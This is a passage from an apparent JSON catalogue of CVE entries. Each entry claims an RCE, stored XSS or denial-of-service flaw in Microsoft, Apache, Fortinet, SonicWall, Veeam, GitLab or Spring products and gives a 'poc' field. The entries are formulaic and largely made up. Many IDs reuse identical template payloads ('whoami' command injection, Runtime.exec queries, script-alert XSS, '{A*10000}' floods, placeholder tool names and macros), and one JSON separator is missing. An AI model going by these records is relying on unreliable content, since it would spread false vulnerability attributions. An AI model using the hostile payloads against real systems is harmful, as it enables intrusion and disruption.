    "description": "Stored XSS in Apache Kafka allows script execution via topic names."
  },
  {
    "id": "CVE-2024-21449",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28320",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30144",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40638",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22318",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
    "id": "CVE-2023-28050",
    "title": "FortiNAC - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiNAC allows RCE."
  },
  {
    "id": "CVE-2024-29904",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34179",
    "title": "SonicWall Firewall - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Firewall flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26291",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40111",
    "title": "Apache Airflow - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Airflow allows script execution via DAG names."
  },
  {
    "id": "CVE-2024-21450",
    "title": "Microsoft Azure Synapse - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure Synapse flaw causes denial of service via crafted pipeline requests."
  },
  {
    "id": "CVE-2023-28321",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  },
  {
    "id": "CVE-2024-30145",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40639",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22319",
    "title": "Spring Data Redis - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"key\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Redis allows script execution via key names."
  },
  {
    "id": "CVE-2023-28051",
    "title": "FortiGate - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiGate flaw causes denial of service via crafted VPN requests."
  },
  {
    "id": "CVE-2024-29905",
    "title": "Veeam ONE - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam ONE allows script execution via report names."
  },
  {
    "id": "CVE-2023-34180",
    "title": "SonicWall Analytics - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"report\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Analytics allows script execution via report names."
  },
  {
    "id": "CVE-2024-26292",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  }
  {
    "id": "CVE-2024-30146",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40112",
    "title": "Apache Storm - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/topology HTTP/1.1\nHost: storm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topology\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Storm allows script execution via topology names."
  },
  {
    "id": "CVE-2024-21451",
    "title": "Microsoft Azure API Management - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure API Management allows RCE."
  },
  {
    "id": "CVE-2023-28322",
    "title": "Microsoft OneNote - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "onenote.exe --malformed-note crash.one",
    "description": "OneNote flaw causes denial of service via crafted note processing."
  },
  {
    "id": "CVE-2024-22320",
    "title": "Spring Data Elasticsearch - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Elasticsearch via crafted queries."
  },
  {
    "id": "CVE-2023-28052",
    "title": "FortiVoice - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiVoice allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29906",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34181",
    "title": "SonicWall GMS - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall GMS flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26293",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40113",
    "title": "Apache Druid - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Druid API flaw causes denial of service via crafted SQL queries."
  },
  {
    "id": "CVE-2024-21452",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28323",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30147",
    "title": "Windows WMI - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40640",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22321",
    "title": "Spring Data MongoDB - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data MongoDB allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28053",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29907",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34182",
    "title": "SonicWall Firewall - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Firewall allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26294",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40114",
    "title": "Apache Kafka - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Kafka via topic configuration."
  },
  {
    "id": "CVE-2024-21453",
    "title": "Microsoft Azure Data Factory - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure Data Factory flaw causes denial of service via crafted pipeline requests."
  },
  {
    "id": "CVE-2023-28324",
    "title": "Microsoft PowerPoint - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "powerpoint.exe --malformed-slide crash.pptx",
    "description": "PowerPoint flaw causes denial of service via crafted slide processing."
  },
  {
    "id": "CVE-2024-30148",
    "title": "Windows Task Scheduler - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40641",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22322",
    "title": "Spring Data Redis - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data Redis flaw causes denial of service via crafted commands."
  },
  {
    "id": "CVE-2023-28054",
    "title": "FortiWeb - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiWeb allows RCE."
  },
  {
    "id": "CVE-2024-29908",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via configuration fields."
  },
  {
    "id": "CVE-2023-34183",
    "title": "SonicWall VPN - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall VPN allows RCE."
  },
  {
    "id": "CVE-2024-26295",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40115",
    "title": "Apache Pulsar - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Pulsar API flaw causes denial of service via crafted function requests."
  },
  {
    "id": "CVE-2024-21454",
    "title": "Microsoft Azure AD - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure AD allows RCE."
  },
  {
    "id": "CVE-2023-28325",
    "title": "Microsoft Visio - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "visio.exe --malformed-diagram crash.vsdx",
    "description": "Visio flaw causes denial of service via crafted diagram processing."
  },
  {
    "id": "CVE-2024-30149",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40642",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22323",
    "title": "Spring Data Neo4j - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data Neo4j flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28055",
    "title": "FortiGate - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/vpn HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiGate allows script execution via VPN config fields."
  },
  {
    "id": "CVE-2024-29909",
    "title": "Veeam Backup - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam Backup flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-34184",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-26296",
    "title": "Windows Print Spooler - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40116",
    "title": "Apache Flink - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Flink allows script execution via job names."
  },
  {
    "id": "CVE-2024-21455",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28326",
    "title": "Microsoft Word - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.docx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Word macro vulnerability allows RCE when malicious document is opened."
  },
  {
    "id": "CVE-2024-30150",
    "title": "Windows ALPC - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40643",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22324",
    "title": "Spring Data JPA - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data JPA flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28056",
    "title": "FortiMail - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiMail allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29910",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34185",
    "title": "SonicWall Firewall - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Firewall allows RCE."
  },
  {
    "id": "CVE-2024-26297",
    "title": "Windows WMI - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40117",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21456",
    "title": "Microsoft Azure Synapse - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Synapse allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28327",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.xlsx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Excel macro vulnerability allows RCE when malicious spreadsheet is opened."
  },
  {
    "id": "CVE-2024-30151",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40644",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22325",
    "title": "Spring Data Elasticsearch - Denial of Service",
    "date": "2024-03-05",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Spring Data Elasticsearch flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-28057",
    "title": "FortiVoice - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiVoice flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29911",
    "title": "Veeam Backup - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34186",
    "title": "SonicWall GMS - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall GMS allows RCE."
  },
  {
    "id": "CVE-2024-26298",
    "title": "Windows Hyper-V - RCE",
    "date": "2024-04-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-40118",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21457",
    "title": "Microsoft Azure AD - Denial of Service",
    "date": "2024-02-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Azure AD flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2023-28328",
    "title": "Microsoft Outlook - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "outlook.exe --malformed-rule exploit.eml",
    "description": "Malicious email rules in Outlook allow RCE when processed."
  },
  {
    "id": "CVE-2024-30152",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40645",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22326",
    "title": "Spring Data MongoDB - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data MongoDB via crafted queries."
  },
  {
    "id": "CVE-2023-28058",
    "title": "FortiWeb - XSS",
    "date": "2023-06-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in FortiWeb allows script execution via config fields."
  },
  {
    "id": "CVE-2024-29912",
    "title": "Veeam Service Provider Console - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam SPC flaw causes denial of service via crafted requests."
